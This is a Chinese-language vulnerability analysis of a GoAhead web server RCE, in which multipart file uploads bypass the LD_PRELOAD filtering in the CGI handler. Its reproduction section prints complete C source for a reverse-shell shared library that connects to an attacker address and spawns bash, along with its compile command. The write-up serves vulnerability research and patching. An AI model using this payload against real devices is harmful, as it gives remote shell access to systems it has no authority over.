作者: 且听安全
原文链接:https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
概述
GoAhead是世界上最受欢迎的微型嵌入式Web服务器。它结构紧凑、安全且易于使用。GoAhead部署在数亿台设备中,是最小嵌入式设备的理想选择。
近日爆出GoAhead存在RCE漏洞,漏洞源于文件上传过滤器处理的不全,当与CGI处理程序一起使用时,可影响环境变量,从而实现RCE。GoAhead曾经爆出过类似的漏洞CVE-2017-17562:
https://www.elttam.com/blog/goahead/#content
经过分析发现此次爆出的新漏洞与CVE-2021-42342类似。漏洞影响版本为:
GoAhead web-server=4.x
5.x<=GoAhead web-server<5.1.5
GoAhead在IBM、HP、Oracle、波音、D-link、摩托罗拉等厂商产品中广泛使用,所以该漏洞的影响范围非常广泛。
补丁对比分析
在开始真正漏洞分析之前,我们首先回顾一下GoAhead针对CVE-2017-17562的修复方式。主要修复有2个。第1个在cgi.c#cgiHandler
处理函数中:
乍一看当参数以LD_
开头将会被忽略,所以LD_PRELOAD
无法使用。但是深入分析我们发现这里补丁犯了一个低级错误。这里vp
虽然来源于s->name.value.string
:
vp = strim(s->name.value.string, 0, WEBS_TRIM_START);
看下strim
函数定义:
vp
将永远为0
,所以上面通过if
过滤LD_PRELOAD
参数的过程是没有任何意义的。接着往下走,GoAhead会将POST请求的表单变量使用ME_GOAHEAD_CGI_VAR_PREFIX
作为前缀,通过函数sfmt
进行字符串格式化以保证LD_PRELOAD
不会被劫持。看起来修复的很完善,但是我们看这里进入第183行处理的前提条件是s->arg
的值不为0
(初始化状态为0
)。
第2处修改位于http.c#addFormVars
函数:
这里将arg
赋值为1
,正好可以满足上面if
判断的条件。
HTTP请求处理分析
下面我们开始从GoAhead处理HTTP请求进行简单分析。
进程初始化分析
GoAhead进程启动后,会调用http.c#websServer
函数完成配置初始化处理:
函数websOpen
会尝试解析route.txt
,并根据配置选择启动的模块:
websDefineHandler
函数用来定义处理不同请求类型的回调函数,比如上面定义CGI的回调处理函数为cgiHandler
,前面补丁对比分析时讲过这个函数会对参数进行加前缀处理。
回到http.c#websServer
,第3426行将调用websListen
函数启动HTTP服务,进入该函数:
第644行定义了当有HTTP请求来到时,将回调websAccept
函数进行处理。
第702行将调用websAlloc
为每一个请求分配单独的Webs
结构体空间:
initWebs
函数完成对Webs
结构体初始化的工作:
下面我们简要分析一下GoAhead对一次HTTP请求进行处理的流程。GoAhead将HTTP请求分为4个状态:
对于每一个HTTP请求,GoAhead以事件形式通过readEvent
函数进行处理:
进入websPump
函数:
WEBS_BEGIN
在Accept
阶段(即WEBS_BEGIN
),调用函数parseIncoming
:
进入parseHeaders
对HTTP头进行检查与解析:
?根据content-type
的不同类型,完成对wp->flags
的赋值。
WEBS_CONTENT
当进入参数处理状态时(即WEBS_CONTENT
),websPump
将调用processContent
进行处理:
这里重点讲下文件上传状态WEBS_UPLOAD
参数处理的过程。在upload.c
中,默认定义上传文件保存目录为tmp
:
在processUploadHeader
中构造此次HTTP请求结构体的uploadTmp
值:
因此,websTempFile
默认将生成一个/tmp/tmp-0.tmp
的临时文件名称,数字是websTempFile
中根据count++
生成的。然后打开临时文件,并将文件句柄赋值给wp->upfd
。在processContentData
处理上传文件时,将调用writeToFile
写入文件:
最终将文件写入了wp->upfd
,也就是保存到了创建的临时文件中。
WEBS_READY
websPump
将调用websRunRequest
进行处理:
在这里有两个函数websSetQueryVars
和websSetFormVars
需要注意:
这2个函数都调用了addFormVars
,在前面对CVE-2017-17562漏洞补丁进行分析的过程中提到过这个函数,addFormVars
处理的最后将sp->arg
赋值为1
,使得cgi.c#cgiHandler
处理过程中会对请求参数进行重命名,从而修复了CVE-2017-17562漏洞。
漏洞分析
有了前面对CVE-2017-17562漏洞修复的补丁对比和HTTP请求原理的分析基础,下面的漏洞分析过程就显得非常简单了。
在WEBS_READY
提到,GoAhead对POST请求和GET请求提交的参数都会调用addFormVars
函数进行处理,将sp->arg
赋值为1
,从而使得cgi.c#cgiHandler
重命名环境变量,但是我们可以看到POST请求调用addFormVars
的前提是wp-flags
取值为WEB_FORM
,回顾WEBS_BEGIN
处理过程,当content-type
为multipart/form-data
时,wp-flags
将赋值为WEBS_UPLOAD
,也就是说,如果HTTP请求为文件上传类型时,参数将不会通过addFormVars
处理,此时s->arg
取值仍然为0
,从而在cgi.c#cgiHandler
中将进入如下分支:
后面漏洞触发的原理与CVE-2017-17562就是一样的了。
漏洞复现
反弹shell的恶意函数:
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="127.0.0.1";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
//socket initialize
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
//connect to the server
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
//dup the socket to stdin, stdout and stderr
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//execute /bin/sh to get a shell
execve("/bin/bash", 0, 0);
}
编译:
gcc hack.c -fPIC -shared -o hack.so
修复方式
在新版本中改动的代码有不少,最核心的变化在upload.c#processContentData
函数中:
对文件上传处理同样加入了sp->arg = 1
的处理。同时在cgi.c#cgiHandler
中,加入了黑名单处理机制,并且调整了sstarts
判断代码,修复了低级错误:
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1808/